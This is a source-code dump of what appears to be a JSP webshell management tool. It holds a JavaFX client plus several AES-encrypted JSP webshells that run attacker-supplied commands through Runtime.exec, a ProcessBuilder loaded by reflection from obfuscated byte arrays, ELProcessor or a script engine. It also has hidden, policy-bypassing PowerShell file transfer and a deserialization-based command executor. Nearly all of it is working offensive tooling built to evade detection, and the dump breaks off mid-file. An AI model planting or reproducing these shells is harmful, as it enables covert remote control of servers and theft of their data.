vBox.setBackground(Background.EMPTY); 42 | vBox.getChildren().addAll(progressIndicator); 43 | 44 | Scene scene = new Scene(vBox); 45 | scene.setFill(null); 46 | dialogStage.setScene(scene); 47 | 48 | Thread inner = new Thread(task); 49 | inner.start(); 50 | 51 | task.setOnSucceeded(new EventHandler() { 52 | public void handle(WorkerStateEvent event) { 53 | dialogStage.close(); 54 | } 55 | }); 56 | } 57 | 58 | public void activateProgressBar() { 59 | dialogStage.show(); 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /JspMaster.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/task/WindowsPlatformUploadThread.java: -------------------------------------------------------------------------------- 1 | package com.feihong.task; 2 | 3 | import com.feihong.executor.CommandExecutor; 4 | import com.feihong.executor.CommandExecutorFactory; 5 | import java.util.List; 6 | import java.util.Objects; 7 | 8 | public class WindowsPlatformUploadThread implements Runnable{ 9 | final private int partNum; 10 | private int blockSize; 11 | private String serverPath; 12 | private int totalSize; 13 | private List threadPool; 14 | private StringBuffer sb; 15 | private CommandExecutor executor; 16 | private String prefix; 17 | private int retry; 18 | 19 | 20 | public WindowsPlatformUploadThread(String serverPath, int partNum, int blockSize, StringBuffer sb, int totalSize, List threadPool, String prefix){ 21 | this.serverPath = serverPath; 22 | this.partNum = partNum; 23 | this.blockSize = blockSize; 24 | this.totalSize = totalSize; 25 | this.threadPool = threadPool; 26 | this.sb = sb; 27 | this.executor = CommandExecutorFactory.getInstance(); 28 | this.prefix = prefix; 29 | } 30 | 31 | @Override 32 | public void run() { 33 | boolean flag = true; 34 | int offset = partNum * blockSize; 35 | int windowSize = (offset + blockSize < totalSize) ? blockSize : (totalSize - offset); 36 | //增加 flag 是为了当线程失败时,让其再次尝试 37 | while(flag) { 38 | try{ 39 | String path = "tmp" + prefix + "-" + partNum; 40 | String cmd = "powershell -nop -ep bypass -c \"$text='" + sb.substring(offset, offset + windowSize) + "' | Out-File '" + path + "'\""; 41 | executor.exec(cmd); 42 | flag = false; 43 | }catch(Exception e){ 44 | //增加跳出机制,防止死循环 45 | retry++; 46 | if(retry >= 5){ 47 | System.out.println("Thread task failed!!!"); 48 | break; 49 | } 50 | System.out.println(e.getMessage()); 51 | } 52 | } 53 | 54 | threadPool.remove(this); 55 | } 56 | 57 | @Override 58 | public boolean equals(Object o) { 59 | if (this == o) return true; 60 | if (o == null || getClass() != o.getClass()) return false; 61 | WindowsPlatformUploadThread that = (WindowsPlatformUploadThread) o; 62 | return partNum == that.partNum; 63 | } 64 | 65 | @Override 66 | public int hashCode() { 67 | return Objects.hash(partNum); 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/asm/BehinderExploitAES.java: -------------------------------------------------------------------------------- 1 | package com.feihong.asm; 2 | 3 | import javax.crypto.Cipher; 4 | import javax.crypto.SecretKey; 5 | import javax.crypto.spec.IvParameterSpec; 6 | import javax.crypto.spec.SecretKeySpec; 7 | import javax.servlet.jsp.PageContext; 8 | import java.io.ByteArrayOutputStream; 9 | import java.io.IOException; 10 | import java.io.InputStream; 11 | import java.security.spec.AlgorithmParameterSpec; 12 | import java.util.Base64; 13 | 14 | public class BehinderExploitAES { 15 | private String str; 16 | private String encryptKey; 17 | private String iv; 18 | 19 | public String encrypt(final String plaintext) { 20 | try { 21 | // new SecretKeySpec 中的 byte[] 的 length 必须是 16或者24或者32, 否则会抛 InvalidKeyException 异常 22 | SecretKey key = new SecretKeySpec(this.encryptKey.getBytes(), "AES"); 23 | // IV的长度必须和 BlockSize 一致(在这里 byte[] 的 length 应该为16),否则会抛 InvalidAlgorithmParameterException 异常 24 | AlgorithmParameterSpec iv = new IvParameterSpec(this.iv.getBytes()); 25 | // 指定加密的算法、工作模式和填充方式 26 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); 27 | cipher.init(Cipher.ENCRYPT_MODE, key, iv); 28 | byte[] result = cipher.doFinal(plaintext.getBytes("UTF-8")); 29 | return Base64.getEncoder().encodeToString(result); 30 | } catch (Exception e) { 31 | e.printStackTrace(); 32 | return null; 33 | } 34 | } 35 | 36 | @Override 37 | public boolean equals(Object obj) { 38 | if(obj instanceof PageContext){ 39 | PageContext page = (PageContext)obj; 40 | String result = ""; 41 | try{ 42 | InputStream inputStream = Runtime.getRuntime().exec(str.split(",",3)).getInputStream(); 43 | int len = 0; 44 | byte[] bytes = new byte[1024]; 45 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 46 | while((len = inputStream.read(bytes)) != -1){ 47 | baos.write(bytes, 0, len); 48 | } 49 | result = baos.toString(); 50 | inputStream.close(); 51 | baos.close(); 52 | }catch (Exception e){ 53 | e.printStackTrace(); 54 | } 55 | 56 | try { 57 | page.getResponse().getWriter().print(this.encrypt(result.trim())); 58 | } catch (IOException e) { 59 | e.printStackTrace(); 60 | } 61 | } 62 | 63 | return super.equals(obj); 64 | } 65 | } 66 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/task/InitializeTask.java: -------------------------------------------------------------------------------- 1 | package com.feihong.task; 2 | 3 | import com.feihong.util.*; 4 | import javafx.concurrent.Task; 5 | import org.apache.commons.io.FileUtils; 6 | import java.io.File; 7 | import java.security.MessageDigest; 8 | import java.util.ArrayList; 9 | import java.util.List; 10 | 11 | public class InitializeTask extends Task { 12 | private String key; 13 | private int status; 14 | private boolean encrypt; 15 | 16 | public int getStatus(){ 17 | return this.status; 18 | } 19 | 20 | public InitializeTask(String key, boolean encrypt){ 21 | this.key = key; 22 | this.encrypt = encrypt; 23 | } 24 | 25 | @Override 26 | protected Boolean call() { 27 | 28 | char hexDigits[] = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 29 | 'a', 'b', 'c', 'd', 'e', 'f'}; 30 | try { 31 | MessageDigest mdTemp = MessageDigest.getInstance("SHA1"); 32 | mdTemp.update(key.getBytes("UTF-8")); 33 | byte[] md = mdTemp.digest(); 34 | int j = md.length; 35 | char buf[] = new char[j * 2]; 36 | int k = 0; 37 | for (int i = 0; i < j; i++) { 38 | byte byte0 = md[i]; 39 | buf[k++] = hexDigits[byte0 >>> 4 & 0xf]; 40 | buf[k++] = hexDigits[byte0 & 0xf]; 41 | } 42 | String key = new String(buf).substring(0, 32); 43 | String iv = new StringBuffer(new String(buf)).reverse().toString().substring(0,16); 44 | ConfigUtil.setCommnunicationKey(key); 45 | ConfigUtil.setIV(iv); 46 | 47 | String path = System.getProperty("user.dir") + "/shell"; 48 | File file = new File(path); 49 | List files = new ArrayList<>(); 50 | BasicUtil.findFileList(file, files); 51 | for (File f : files) { 52 | String fileContent = FileUtils.readFileToString(f, "UTF-8"); 53 | fileContent = fileContent.replaceAll("\\[key_placeholder\\]", key); 54 | fileContent = fileContent.replaceAll("\\[iv_placeholder\\]", iv); 55 | FileUtils.writeStringToFile(f, fileContent, "UTF-8"); 56 | } 57 | } catch (Exception e) { 58 | this.status = -1; 59 | e.printStackTrace(); 60 | } 61 | 62 | //初始化的时候,如果选择使用登录密码,在这里需要对 dbFile 进行初始化的加密 63 | if (encrypt) { 64 | EncryptUtil.encryptFile(BasicSetting.getInstance().dbFile, PasswordUtil.password); 65 | } 66 | 67 | this.status = 1; 68 | return true; 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/task/LinuxPlatformDownloadTask.java: -------------------------------------------------------------------------------- 1 | package com.feihong.task; 2 | 3 | import com.feihong.executor.CommandExecutorFactory; 4 | import javafx.concurrent.Task; 5 | import java.io.File; 6 | import java.util.ArrayList; 7 | import java.util.Iterator; 8 | import java.util.List; 9 | 10 | public class LinuxPlatformDownloadTask extends Task { 11 | private String serverPath; 12 | private String localPath; 13 | private int threadNum; 14 | private int blocksize; 15 | 16 | public LinuxPlatformDownloadTask(String serverPath, String localPath, int threadNum, int blocksize){ 17 | this.serverPath = serverPath; 18 | this.localPath = localPath; 19 | this.threadNum = threadNum; 20 | this.blocksize = blocksize; 21 | } 22 | 23 | @Override 24 | protected Boolean call() throws Exception { 25 | long time1 = System.currentTimeMillis(); 26 | 27 | String cmd = "ls -l '" + serverPath + "'"; 28 | String result = CommandExecutorFactory.getInstance().exec(cmd).getResponseResult(); 29 | int length = Integer.parseInt(result.split("\\s+")[4]); 30 | System.out.println("Total size: " + length); 31 | 32 | int totalPart = (int) Math.ceil((double) length / blocksize); 33 | System.out.println("Total part: " + totalPart); 34 | 35 | List list = new ArrayList<>(); 36 | for(int i =0;i < totalPart; i++){ 37 | list.add(i); 38 | } 39 | 40 | List threadPool = new ArrayList<>(); 41 | Iterator it = list.iterator(); 42 | List runThreads = new ArrayList<>(); 43 | int count = 0; 44 | while( !isCancelled() && it.hasNext()){ 45 | if(threadPool.size() < threadNum){ 46 | int partNum = it.next(); 47 | Runnable runnable = new LinuxPlatformDownloadThread(serverPath, partNum, blocksize, localPath, length, threadPool); 48 | threadPool.add(runnable); 49 | Thread t = new Thread(runnable); 50 | t.start(); 51 | runThreads.add(t); 52 | updateProgress(++count, totalPart); 53 | } 54 | } 55 | 56 | if(isCancelled()){ 57 | //删除文件操作必须等所有线程结束,否则会出现删除了又出现的情况 58 | for(Thread t : runThreads) 59 | try{t.join();}catch(Throwable e){} 60 | 61 | new File(localPath).delete(); 62 | return true; 63 | } 64 | 65 | System.out.println("下载完毕"); 66 | 67 | long time2 = System.currentTimeMillis(); 68 | System.out.println("耗时:" + (time2 - time1)/1000.0 + "s"); 69 | return true; 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/task/LinuxPlatformUploadThread.java: -------------------------------------------------------------------------------- 1 | package com.feihong.task; 2 | 3 | import com.feihong.bean.CommandExecutionResult; 4 | import com.feihong.executor.CommandExecutor; 5 | import com.feihong.executor.CommandExecutorFactory; 6 | import java.util.List; 7 | import java.util.Objects; 8 | 9 | public class LinuxPlatformUploadThread implements Runnable{ 10 | final private int partNum; 11 | private int blockSize; 12 | private String serverPath; 13 | private int totalSize; 14 | private List threadPool; 15 | private StringBuffer sb; 16 | private CommandExecutor executor; 17 | private String prefix; 18 | private int retry; 19 | 20 | 21 | public LinuxPlatformUploadThread(String serverPath, int partNum, int blockSize, StringBuffer sb, int totalSize, List threadPool, String prefix){ 22 | this.serverPath = serverPath; 23 | this.partNum = partNum; 24 | this.blockSize = blockSize; 25 | this.totalSize = totalSize; 26 | this.threadPool = threadPool; 27 | this.sb = sb; 28 | this.executor = CommandExecutorFactory.getInstance(); 29 | this.prefix = prefix; 30 | } 31 | 32 | @Override 33 | public void run() { 34 | 35 | boolean flag = true; 36 | int offset = partNum * blockSize; 37 | int windowSize = (offset + blockSize < totalSize) ? blockSize : (totalSize - offset); 38 | //增加 flag 是为了当线程失败时,让其再次尝试 39 | while(flag) { 40 | try{ 41 | String path = "/tmp/tmp" + prefix + "-" + partNum;; 42 | String cmd = "python -c \"f=open('" + path + "','w+')\n" + 43 | "f.write('" + sb.substring(offset, offset + windowSize) + "')\n" + 44 | "f.close()\""; 45 | CommandExecutionResult result = executor.exec(cmd); 46 | flag = false; 47 | }catch(Exception e){ 48 | //增加跳出机制,防止死循环 49 | retry++; 50 | if(retry >= 5){ 51 | System.out.println("Thread task failed!!!"); 52 | break; 53 | } 54 | System.out.println("retrying..."); 55 | } 56 | } 57 | 58 | boolean res = threadPool.remove(this); 59 | } 60 | 61 | @Override 62 | public boolean equals(Object o) { 63 | if (this == o) return true; 64 | if (o == null || getClass() != o.getClass()) return false; 65 | LinuxPlatformUploadThread that = (LinuxPlatformUploadThread) o; 66 | return partNum == that.partNum; 67 | } 68 | 69 | @Override 70 | public int hashCode() { 71 | return Objects.hash(partNum, blockSize, serverPath, totalSize, threadPool, sb, executor); 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/executor/DeserializationCommandExecutor.java: -------------------------------------------------------------------------------- 1 | package com.feihong.executor; 2 | 3 | import com.feihong.asm.GenerateDynamicClass; 4 | import com.feihong.bean.CommandExecutionResult; 5 | import com.feihong.util.BasicSetting; 6 | import com.feihong.util.WrappedHttpRequest; 7 | import java.io.ByteArrayOutputStream; 8 | import java.io.ObjectOutputStream; 9 | import java.net.MalformedURLException; 10 | import java.net.URL; 11 | import java.util.Base64; 12 | 13 | public class DeserializationCommandExecutor extends ClassLoader implements CommandExecutor { 14 | @Override 15 | public String getName() { 16 | return "Deserialization"; 17 | } 18 | 19 | @Override 20 | public CommandExecutionResult exec(String command) { 21 | 22 | String base64Encode = null; 23 | URL url = null; 24 | try { 25 | url = new URL(BasicSetting.getInstance().shellUrl); 26 | } catch (MalformedURLException e) { 27 | e.printStackTrace(); 28 | } 29 | 30 | String className1 = transform(url.getPath(), "/"); 31 | String className2 = transform(url.getPath(), "."); 32 | 33 | try{ 34 | 35 | String wrappedCommand = null; 36 | GenerateDynamicClass dynamicClass; 37 | if(command.equalsIgnoreCase("ipconfig") || command.trim().equalsIgnoreCase("ifconfig")){ 38 | dynamicClass = new GenerateDynamicClass(className1,command); 39 | }else{ 40 | if(BasicSetting.getInstance().shellPlatform.trim().equalsIgnoreCase("windows")){ 41 | dynamicClass = new GenerateDynamicClass(className1,"cmd.exe,/C," + command); 42 | }else{ 43 | dynamicClass = new GenerateDynamicClass(className1,"/bin/bash,-c," + command); 44 | } 45 | } 46 | 47 | Class clazz = new DeserializationCommandExecutor().defineClass(className2, dynamicClass.generate(), 0, dynamicClass.generate().length); 48 | 49 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 50 | ObjectOutputStream oos = new ObjectOutputStream(baos); 51 | oos.writeObject(clazz.newInstance()); 52 | base64Encode = Base64.getEncoder().encodeToString(baos.toByteArray()); 53 | 54 | }catch(Exception e){ 55 | e.printStackTrace(); 56 | } 57 | 58 | return WrappedHttpRequest.post(base64Encode); 59 | } 60 | 61 | public String transform(String str, String seperator){ 62 | String path = str.substring(0, str.lastIndexOf(".")); 63 | path = path.replaceAll("-","_002d"); 64 | path = "org/apache/jsp" + path; 65 | path = path.replaceAll("/", seperator) + "_jsp$Gadget"; 66 | return path; 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/util/ConnectionUtil.java: -------------------------------------------------------------------------------- 1 | package com.feihong.util; 2 | 3 | import com.feihong.bean.CommandExecutionResult; 4 | import com.feihong.executor.CommandExecutorFactory; 5 | 6 | public class ConnectionUtil { 7 | 8 | public static String getConnectionStatus() { 9 | String result = ""; 10 | 11 | CommandExecutionResult windowsResult = CommandExecutorFactory.getInstance().exec("ipconfig"); 12 | CommandExecutionResult linuxResult = CommandExecutorFactory.getInstance().exec("ifconfig"); 13 | 14 | if(windowsResult.getResponseStatusCode() == 404 || linuxResult.getResponseStatusCode() == 404){ 15 | BasicSetting.getInstance().isConnected = false; 16 | result = "连接失败,文件不存在!"; 17 | }else if(windowsResult.getResponseStatusCode() == 200 || linuxResult.getResponseStatusCode() == 200){ 18 | if(windowsResult.getException() == null && linuxResult.getException() == null) { 19 | if(windowsResult.getResponseResult() != null && windowsResult.getResponseResult().contains("Windows")){ 20 | BasicSetting.getInstance().isConnected = true; 21 | result = "连接成功!"; 22 | BasicSetting.getInstance().shellPlatform = "windows"; 23 | BasicSetting.getInstance().fileSeprator = "\\"; 24 | }else if(linuxResult.getResponseResult() != null && linuxResult.getResponseResult().contains("flags")){ 25 | BasicSetting.getInstance().isConnected = true; 26 | result = "连接成功!"; 27 | BasicSetting.getInstance().shellPlatform = "linux"; 28 | BasicSetting.getInstance().fileSeprator = "/"; 29 | }else{ 30 | BasicSetting.getInstance().isConnected = false; 31 | result = "连接失败,未获得有效的执行结果,可能是因为使用了错误的通信密钥!"; 32 | } 33 | }else { 34 | 35 | if (windowsResult.getException().contains("ConnectException") || linuxResult.getException().contains("ConnectException")) { 36 | BasicSetting.getInstance().isConnected = false; 37 | result = "连接失败,服务器拒绝访问!"; 38 | } else if (windowsResult.getException().contains("SocketTimeoutException") || linuxResult.getException().contains("SocketTimeoutException")) { 39 | BasicSetting.getInstance().isConnected = false; 40 | result = "连接失败,连接超时!"; 41 | } else { 42 | BasicSetting.getInstance().isConnected = false; 43 | result = "出问题了,连接失败!"; 44 | } 45 | } 46 | }else{ 47 | BasicSetting.getInstance().isConnected = false; 48 | result = "连接异常!"; 49 | } 50 | 51 | 52 | return result; 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /shell/流量加密版本/basic-aes.jsp: -------------------------------------------------------------------------------- 1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 2 | <%@ page import="javax.crypto.Cipher" %> 3 | <%@ page import="javax.crypto.SecretKey" %> 4 | <%@ page import="javax.crypto.spec.IvParameterSpec" %> 5 | <%@ page import="javax.crypto.spec.SecretKeySpec" %> 6 | <%@ page import="java.io.*" %> 7 | <%@ page import="java.security.spec.AlgorithmParameterSpec" %> 8 | <% request.setCharacterEncoding("utf-8"); %> 9 | <%! 10 | public static String encrypt(final String plaintext) { 11 | try { 12 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES"); 13 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes()); 14 | // 指定加密的算法、工作模式和填充方式 15 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); 16 | cipher.init(Cipher.ENCRYPT_MODE, key, iv); 17 | byte[] result = cipher.doFinal(plaintext.getBytes("UTF-8")); 18 | return new sun.misc.BASE64Encoder().encode(result).replaceAll("\r|\n|\r\n", ""); 19 | } catch (Exception e) { 20 | e.printStackTrace(); 21 | return null; 22 | } 23 | } 24 | 25 | public static String decrypt(final String encrypted) { 26 | try { 27 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES"); 28 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes()); 29 | byte[] decodeBase64 = new sun.misc.BASE64Decoder().decodeBuffer(encrypted); 30 | // 指定加密的算法、工作模式和填充方式 31 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); 32 | cipher.init(Cipher.DECRYPT_MODE, key, iv); 33 | return new String(cipher.doFinal(decodeBase64), "UTF-8"); 34 | } catch (Exception e) { 35 | e.printStackTrace(); 36 | return null; 37 | } 38 | } 39 | %> 40 | <% 41 | try { 42 | BufferedReader br = request.getReader(); 43 | String str, wholeStr = ""; 44 | while((str = br.readLine()) != null) { 45 | wholeStr += str + "\n"; 46 | } 47 | br.close(); 48 | 49 | 50 | if(wholeStr != null && !wholeStr.trim().equals("")){ 51 | wholeStr = wholeStr.substring(0,wholeStr.length()-1); 52 | wholeStr = decrypt(wholeStr); 53 | InputStream in = Runtime.getRuntime().exec(wholeStr.split(",",3)).getInputStream(); 54 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 55 | byte[] buffer = new byte[1024]; 56 | int len = 0; 57 | while((len = in.read(buffer)) != -1) { 58 | baos.write(buffer, 0, len); 59 | } 60 | response.getWriter().print(encrypt(baos.toString().trim())); 61 | out.clearBuffer(); 62 | in.close(); 63 | baos.close(); 64 | } 65 | } catch (IOException e) { 66 | System.err.println(e); 67 | } 68 | %> -------------------------------------------------------------------------------- /src/main/java/com/feihong/task/WindowsPlatformDownloadThread.java: -------------------------------------------------------------------------------- 1 | package com.feihong.task; 2 | 3 | import com.feihong.bean.CommandExecutionResult; 4 | import com.feihong.executor.CommandExecutorFactory; 5 | import java.io.IOException; 6 | import java.io.RandomAccessFile; 7 | import java.util.List; 8 | import java.util.Objects; 9 | 10 | public class WindowsPlatformDownloadThread implements Runnable{ 11 | private int partNum; 12 | private int blockSize; 13 | private String serverPath; 14 | private int totalSize; 15 | private List threadPool; 16 | private String localPath; 17 | private int retry; 18 | 19 | 20 | public WindowsPlatformDownloadThread(String serverPath, int partNum, int blockSize, String localPath, int totalSize, List threadPool){ 21 | this.serverPath = serverPath; 22 | this.partNum = partNum; 23 | this.blockSize = blockSize; 24 | this.totalSize = totalSize; 25 | this.threadPool = threadPool; 26 | this.localPath = localPath; 27 | } 28 | 29 | @Override 30 | public void run() { 31 | boolean flag = true; 32 | int offset = partNum * blockSize; 33 | 34 | //增加 flag 是为了当线程下载失败时,让其重新尝试再次下载 35 | while(flag) { 36 | int windowSize = (offset + blockSize) < totalSize ? blockSize : totalSize - offset; 37 | String fethChuck = "powershell -nop -w hidden -ep bypass -c \"[System.Convert]::ToBase64String([System.IO" + 38 | ".File]::ReadAllBytes('" + serverPath + "')).substring(" + offset + "," + windowSize + ")\""; 39 | CommandExecutionResult result = CommandExecutorFactory.getInstance().exec(fethChuck); 40 | String chunk = result.getResponseResult(); 41 | 42 | try { 43 | RandomAccessFile file = new RandomAccessFile(localPath + ".tmp", "rw"); 44 | file.setLength(totalSize); 45 | file.seek(offset); 46 | file.write(chunk.getBytes()); 47 | file.close(); 48 | flag = false; 49 | } catch (NullPointerException | IOException e) { 50 | //增加跳出机制,防止死循环 51 | retry++; 52 | if(retry >= 5){ 53 | System.out.println("Thread task failed!!!"); 54 | break; 55 | } 56 | System.out.println("retrying..."); 57 | } 58 | } 59 | 60 | threadPool.remove(this); 61 | } 62 | 63 | @Override 64 | public boolean equals(Object o) { 65 | if (this == o) return true; 66 | if (o == null || getClass() != o.getClass()) return false; 67 | WindowsPlatformDownloadThread that = (WindowsPlatformDownloadThread) o; 68 | return partNum == that.partNum; 69 | } 70 | 71 | @Override 72 | public int hashCode() { 73 | return Objects.hash(partNum); 74 | } 75 | } 76 | -------------------------------------------------------------------------------- /shell/流量加密版本/reflection-aes-2.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.io.*" %> 2 | <%@ page import="javax.crypto.Cipher" %> 3 | <%@ page import="java.security.spec.AlgorithmParameterSpec" %> 4 | <%@ page import="javax.crypto.spec.SecretKeySpec" %> 5 | <%@ page import="javax.crypto.spec.IvParameterSpec" %> 6 | <%@ page import="javax.crypto.SecretKey" %> 7 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 8 | <%! 9 | public static String encrypt(final String plaintext) { 10 | try { 11 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES"); 12 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes()); 13 | // 指定加密的算法、工作模式和填充方式 14 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); 15 | cipher.init(Cipher.ENCRYPT_MODE, key, iv); 16 | byte[] result = cipher.doFinal(plaintext.getBytes("UTF-8")); 17 | return new sun.misc.BASE64Encoder().encode(result).replaceAll("\r|\n|\r\n", ""); 18 | } catch (Exception e) { 19 | e.printStackTrace(); 20 | return null; 21 | } 22 | } 23 | 24 | public static String decrypt(final String encrypted) { 25 | try { 26 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES"); 27 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes()); 28 | byte[] decodeBase64 = new sun.misc.BASE64Decoder().decodeBuffer(encrypted); 29 | // 指定加密的算法、工作模式和填充方式 30 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); 31 | cipher.init(Cipher.DECRYPT_MODE, key, iv); 32 | return new String(cipher.doFinal(decodeBase64), "UTF-8"); 33 | } catch (Exception e) { 34 | e.printStackTrace(); 35 | return null; 36 | } 37 | } 38 | %> 39 | <% 40 | BufferedReader br = request.getReader(); 41 | String str, wholeStr = ""; 42 | while((str = br.readLine()) != null) { 43 | wholeStr += str + "\n"; 44 | } 45 | if(wholeStr != null && !wholeStr.trim().equals("")){ 46 | wholeStr = decrypt(wholeStr.substring(0,wholeStr.length()-1)); 47 | Class clazz = Class.forName(new String(new byte[] {106,97,118,97,46,108,97,110,103,46,80,114,111,99,101,115,115,66,117,105,108,100,101,114})); 48 | InputStream in = ((Process)clazz.getMethod(new String(new byte[]{115,116,97,114,116})).invoke(clazz.getConstructor(String[].class).newInstance(new Object[]{wholeStr.split(",",3)}), new Object[]{})).getInputStream(); 49 | int len = 0; 50 | byte[] buffer = new byte[1024]; 51 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 52 | while((len = in.read(buffer)) != -1){ 53 | baos.write(buffer, 0, len); 54 | } 55 | 56 | response.getWriter().print(encrypt(baos.toString().trim())); 57 | in.close(); 58 | baos.close(); 59 | } 60 | %> -------------------------------------------------------------------------------- /shell/流量加密版本/ELProcessor-aes.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="javax.el.ELProcessor" %> 2 | <%@ page import="java.io.BufferedInputStream" %> 3 | <%@ page import="java.io.ByteArrayOutputStream" %> 4 | <%@ page import="java.io.BufferedReader" %> 5 | <%@ page import="javax.crypto.SecretKey" %> 6 | <%@ page import="javax.crypto.spec.SecretKeySpec" %> 7 | <%@ page import="java.security.spec.AlgorithmParameterSpec" %> 8 | <%@ page import="javax.crypto.Cipher" %> 9 | <%@ page import="javax.crypto.spec.IvParameterSpec" %> 10 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 11 | <%! 12 | public static String encrypt(final String plaintext) { 13 | try { 14 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES"); 15 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes()); 16 | // 指定加密的算法、工作模式和填充方式 17 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); 18 | cipher.init(Cipher.ENCRYPT_MODE, key, iv); 19 | byte[] result = cipher.doFinal(plaintext.getBytes("UTF-8")); 20 | return new sun.misc.BASE64Encoder().encode(result).replaceAll("\r|\n|\r\n", ""); 21 | } catch (Exception e) { 22 | e.printStackTrace(); 23 | return null; 24 | } 25 | } 26 | 27 | public static String decrypt(final String encrypted) { 28 | try { 29 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES"); 30 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes()); 31 | byte[] decodeBase64 = new sun.misc.BASE64Decoder().decodeBuffer(encrypted); 32 | // 指定加密的算法、工作模式和填充方式 33 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); 34 | cipher.init(Cipher.DECRYPT_MODE, key, iv); 35 | return new String(cipher.doFinal(decodeBase64), "UTF-8"); 36 | } catch (Exception e) { 37 | e.printStackTrace(); 38 | return null; 39 | } 40 | } 41 | %> 42 | <% 43 | BufferedReader br = request.getReader(); 44 | String str, wholeStr = ""; 45 | while((str = br.readLine()) != null) { 46 | wholeStr += str + "\n"; 47 | } 48 | br.close(); 49 | 50 | if(wholeStr != null && !wholeStr.trim().equals("")) { 51 | wholeStr = decrypt(wholeStr.substring(0, wholeStr.length() - 1)); 52 | ELProcessor el = new ELProcessor(); 53 | BufferedInputStream bis = (BufferedInputStream)el.getValue(wholeStr,Class.forName("java.io.BufferedInputStream")); 54 | int len = 0; 55 | byte[] bytes = new byte[1024]; 56 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 57 | while((len = bis.read(bytes)) != -1){ 58 | baos.write(bytes,0,len); 59 | } 60 | 61 | response.getWriter().print(encrypt(baos.toString().trim())); 62 | bis.close(); 63 | baos.close(); 64 | } 65 | %> 66 | -------------------------------------------------------------------------------- /shell/流量加密版本/scriptmanager-aes.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.io.*" %> 2 | <%@ page import="javax.script.ScriptEngine" %> 3 | <%@ page import="javax.script.ScriptEngineManager" %> 4 | <%@ page import="javax.crypto.SecretKey" %> 5 | <%@ page import="javax.crypto.spec.SecretKeySpec" %> 6 | <%@ page import="java.security.spec.AlgorithmParameterSpec" %> 7 | <%@ page import="javax.crypto.spec.IvParameterSpec" %> 8 | <%@ page import="javax.crypto.Cipher" %> 9 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 10 | <%! 11 | public String readInputStream(InputStream inputStream) throws IOException { 12 | int len = 0; 13 | byte[] buffer = new byte[1024]; 14 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 15 | while((len = inputStream.read(buffer)) != -1){ 16 | baos.write(buffer, 0, len); 17 | } 18 | baos.close(); 19 | return encrypt(baos.toString().trim()); 20 | } 21 | 22 | public static String encrypt(final String plaintext) { 23 | try { 24 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES"); 25 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes()); 26 | // 指定加密的算法、工作模式和填充方式 27 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); 28 | cipher.init(Cipher.ENCRYPT_MODE, key, iv); 29 | byte[] result = cipher.doFinal(plaintext.getBytes("UTF-8")); 30 | return new sun.misc.BASE64Encoder().encode(result).replaceAll("\r|\n|\r\n", ""); 31 | } catch (Exception e) { 32 | e.printStackTrace(); 33 | return null; 34 | } 35 | } 36 | 37 | public static String decrypt(final String encrypted) { 38 | try { 39 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES"); 40 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes()); 41 | byte[] decodeBase64 = new sun.misc.BASE64Decoder().decodeBuffer(encrypted); 42 | // 指定加密的算法、工作模式和填充方式 43 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); 44 | cipher.init(Cipher.DECRYPT_MODE, key, iv); 45 | return new String(cipher.doFinal(decodeBase64), "UTF-8"); 46 | } catch (Exception e) { 47 | e.printStackTrace(); 48 | return null; 49 | } 50 | } 51 | %> 52 | <% 53 | ScriptEngineManager manager = new ScriptEngineManager(); 54 | ScriptEngine engine = 